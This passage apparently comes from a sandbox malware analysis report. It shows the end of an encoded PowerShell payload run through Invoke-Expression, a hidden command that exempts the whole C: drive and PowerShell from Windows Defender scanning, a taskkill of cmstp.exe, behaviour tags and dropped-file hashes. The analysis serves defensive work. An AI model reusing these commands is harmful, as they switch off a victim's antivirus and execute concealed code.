dHFwb2d4a3dmYWZtdmtpZ3NxZmhuICRudWxsO2FqZWNhaXl5ZHduZmZ0bmp1eG12cHpyY2QgJHhjamluamJjaG5qd3ZzZ2N0cnJhZnR1bHUgKCxbc3RyaW5nW11dICgnJUFCQycpKTs=')) | Invoke-Expression"5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1828
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4068
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C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5100
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD5223bd4ae02766ddc32e6145fd1a29301
SHA1900cfd6526d7e33fb4039a1cc2790ea049bc2c5b
SHA2561022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e
SHA512648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc
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Filesize
1KB
MD51ef85a547edc27c13271009c36d9a8de
SHA184197cd759db579e2e4bd7c03aa4de36b515c1fd
SHA256c2c5895f3a9356b6be3feeeb3ce2878d498ab230370532189f1156a9f848a14d
SHA51265cf5104560f49b9a6dba0d901db4529ef416202eed3fcf6b28be86f8fb4cddc931400be8d4723198750226123d2a711dba83166dbe4c507ffcbcf8f5ecbcb41
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Filesize
1KB
MD5215fa5932830c64a7049274a3716ba58
SHA119b3835fe5674c620bbac144e3b042fa89c54070
SHA2567fcdd9641321e0b0fc76cab08a789125783bbe07d752ca14bc6184c4fd381986
SHA5125a04070b08d0e459949190d8238684e0b2b8a5b7cad16041724e8913b6591944abfb535f849d17d0714c2f9a34910ac8147100978848061fd83600e4b9eb1803
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Filesize
1KB
MD514aa4dee436090dd61c40a3cae2d3c91
SHA18df28dc780ff5215f0fc66bae4b10e66ca73b78f
SHA2565b74e464bba7f73fa1918f856e11b16a0fb954ca2c9d8d899a3c58a86ad5bf11
SHA512ea915be89e9ba80a6a610c64b34ed65abb13a0af9ae8734815a1dd0def4ba88089201f190f1d8daa260f30e508c6690ece45bba8c1b20efa2d9c672c3dab26c0
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
269KB
MD5953ca19c7ec317a9e61eb0b37e5fba45
SHA1e5b07ef0f6a2a9ca0f9f26c622521861dc6cd786
SHA2562c62df16384cc9b4ef023b57b151fe6711cd03306b7dd1929f773ae1dd77c49d
SHA512fa7c7c8cb9318813de121c28121d8862d78763992276441265bf776041c2cb938f9e087f3ede559a7c096c14f31e2d41c2b72b86f48330efc36665a8f046d7de
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Filesize
275KB
MD58a6ef426368a7e273704a654aee6ee82
SHA1285152199560e1970295e0a5f1eb1e017b2391af
SHA2565d071dc05b819c190e333a894db3b16e96f8531b280618c776dfe0505452d2df
SHA5122a94c18195a591947d934782d1f63b71184d4c389761b61703f3cd18e229f100c38858ddf7c275cb930a0f05dfe6d6dce90f2a9d1ea3ec643ac09483512f00aa
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Filesize
4KB
MD5e509f509e214e173d925a78b2172d93a
SHA1d15d664231d7bf068a02907ad0757e9e9b774a81
SHA256d68feadb4b916da20fd93cd5ee8e0867dcef7dd80cbdad7d9c47dd341b3aee0e
SHA5126a732f8dc41e5f190abbfc98534a23f68bfbdbe7d7e7ddc9381f812226127ed80a8db20f86b7898eb92e500b27459dca098c7739cbbfed2fef65dd4367d16292
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Filesize
663B
MD527581dbbe3c3840ce72f99c21071898a
SHA1898afeb9523df9367c74a01c0dbecf6b637f3cb1
SHA256c5f2bbdebccd52c3eba3c97a251ffa2ccd01f64de764e560f804045fe868d27b
SHA5120b9c4531e8be5b292638cb2cad7fd1b72ed3f1aa20ea027b9a013a8bfb2daaa4a25a40c37423e0924d110bbbbfad4a6e21aa03f4694978d205d7ac9739567d9f
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Filesize
652B
MD574e23471c9f09d352f2f624e682defaa
SHA131cef37ff45649772158270faf90e47eab686647
SHA25664681c70eaf82fa0e6ec924a86b606a78e22275ac10a3bce04c68bcfcf9db085
SHA512040c74873f5079153534629e70722c454ff3d1538d22da89777f7c704e842368bcbf33b022fa19408939077aa97eb852ec73e16aa68a126381d991379b91317b
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Filesize
2KB
MD5b8106096972fb511e0cf8b99386ecf93
SHA13003ba3a3681ba16d124d5b2305e6cc59af79b44
SHA25649d2a0f78cbec3d87396b6f52f791c66505edeec87a70d4ce45721288210da02
SHA512218bd9cd17c56d2e138205a197780cc2a5a81bfce7d5439eecb168f61955ba97793e7333425c064f6b6337e1f70c75bd373a7fb502a8c538fb046600018f871e
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Filesize
369B
MD5571e9d25ca57cbdc20f7237d1652feca
SHA1f381e4099413c2f7acc314fa1efb3c7093b1a979
SHA25626d7c7f1867bfdfe4376994b002fccb7b2eb9ff6d69fbe6a894786930f89130a
SHA512133dc213c355cb436b437c1631b56445963d17dee5687039d9b367a6c529d487e2e8da2ee3950273735ac106cec32636670628fbf0b01e34a90bbbdaf845811a